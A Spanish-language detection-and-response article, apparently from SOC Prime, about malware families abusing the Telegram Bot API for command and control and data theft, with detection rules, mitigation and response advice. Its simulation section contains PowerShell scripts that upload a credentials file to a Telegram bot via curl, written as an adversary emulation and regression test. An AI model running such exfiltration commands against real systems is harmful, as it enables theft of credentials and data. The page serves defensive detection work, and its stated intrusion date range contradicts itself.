SOC Prime Bias: Medium

17 Dec 2025 14:33 UTC

Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El artículo explica cómo varios actores de amenazas abusan de la API de Bot de Telegram y de los canales en empresas para el mando y control, la exfiltración de datos y la monitorización de las víctimas. Familias de malware, incluidas DeerStealer, Lumma Stealer, Raven Stealer y un constructor XWorm troyanizado codifican de manera rígida tokens de bots o IDs de canales y llaman a endpoints como /sendMessage y /sendDocument. Incluye consultas de detección de Microsoft Defender y Sentinel enfocadas en líneas de comando de procesos sospechosos y tráfico hacia api.telegram.org. La guía clave es establecer un uso legítimo de base de Telegram y bloquear la API donde no se necesite.

Investigación

El SOC de NVISO reportó cuatro intentos de intrusión observados entre octubre de 2025 y marzo de 2025, en los cuales Telegram fue utilizado en diferentes puntos del ciclo de vida del ataque. El informe destaca campañas como Lunar Spider monitorizando víctimas a través de falsos captchas, DeerStealer enviando notificaciones a operadores mediante curl, Lumma Stealer obteniendo detalles de C2 de canales de Telegram, Raven Stealer exfiltrando colecciones archivadas, y un constructor de XWorm que depende de la API de Bot tanto para exfiltración como para C2. Los analistas extrajeron indicadores que incluyen líneas de comando de procesos, destinos de red y nombres relevantes de archivos.

Mitigación

Establecer una línea base para el uso legítimo de Telegram, luego bloquear el acceso saliente a api.telegram.org en entornos donde no se requiera. Vigilar procesos poco comunes (por ejemplo, curl, powershell, wscript) que inicien conexiones con la API e investigar cualquier interacción scriptada con la API de Bot. Ajustar las detecciones para suprimir comportamientos esperados como navegadores conocidos iniciando telegram.exe, y priorizar solicitudes de sondeo largo o estilo webhook que se originen desde binarios sospechosos o hosts inesperados.

Respuesta

Cuando se detecta actividad, aislar el punto final afectado, detener procesos sospechosos y preservar argumentos de línea de comando junto con telemetría de DNS, proxy y red. Realizar análisis forense más profundo para identificar cargas útiles posteriores asociadas con campañas como DeerStealer o Raven Stealer. Rotar cualquier token de bot expuesto, deshabilitar o revocar canales de Telegram abusados, y contener la propagación bloqueando indicadores relacionados. Si se confirma abuso, escalar el reporte a través de los canales oficiales de Telegram y documentar el incidente para prevenir recurrencias.

Flujo de Ataque

Detecciones

Posible Abuso de Telegram Como Canal de Mando y Control (vía dns_query)

Equipo SOC Prime
17 Dic 2025

Modificación Sospechosa de Exclusiones de Defender (vía cmdline)

Equipo SOC Prime
17 Dic 2025

Proceso Sospechoso Utiliza una URL en la Línea de Comando (vía cmdline)

Equipo SOC Prime
17 Dic 2025

IOCs (Emails) para detectar: Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram

Reglas de IA de SOC Prime
17 Dic 2025

Detectar Comunicación No Navegador con API de Telegram [Conexión de Red de Windows]

Reglas de IA de SOC Prime
17 Dic 2025

Detección de Uso Malicioso de la API de Telegram [Creación de Procesos en Windows]

Reglas de IA de SOC Prime
17 Dic 2025

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de la detección.

  • Narrativa de Ataque y Comandos:
    Un adversario con un host Windows comprometido desea exfiltrar un archivo de credenciales recopiladas (creds.txt) a un bot de Telegram que controlan. Para evitar almacenar un binario personalizado, usan el curl.exe de manera nativa (instalado mediante las funciones opcionales de Windows 10) para POST el archivo a https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. El comando se ejecuta desde PowerShell, asegurando que el evento de creación del proceso registre una línea de comando que contenga “api.telegram.org”. Debido a que el proceso es curl.exe, el filtro de la regla (InitiatingProcessFileName: "telegram.exe") no suprime la alerta.

    # Variables (reemplazar con valores controlados por el atacante)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # Asegúrese de que el archivo exista (simulación de volcado de credenciales)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Ejecutar la exfiltración mediante la API de Bot de Telegram
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • Script de Prueba de Regresión: El script de abajo reproduce los pasos exactos, adecuado para ejecuciones automatizadas de BAS.

    #--------------------------------------------
    # Prueba de Regresión – Exfiltración de API de Telegram
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # Crear espacio de trabajo temporal
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # Archivo de credenciales simulado
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # Construir URL de API
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # Invocar exfiltración
    Write-Host "[*] Exfiltrando $CredFile a Telegram..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # Indicador simple de éxito (no verifica la entrega)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Comando de exfiltración ejecutado."
    } else {
        Write-Error "[-] Fallo en la exfiltración."
    }
  • Comandos de Limpieza: Remover el archivo y directorio temporal; opcionalmente terminar cualquier curl.exe proceso persistente.

    # Limpiar artefactos temporales
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] Limpieza completa."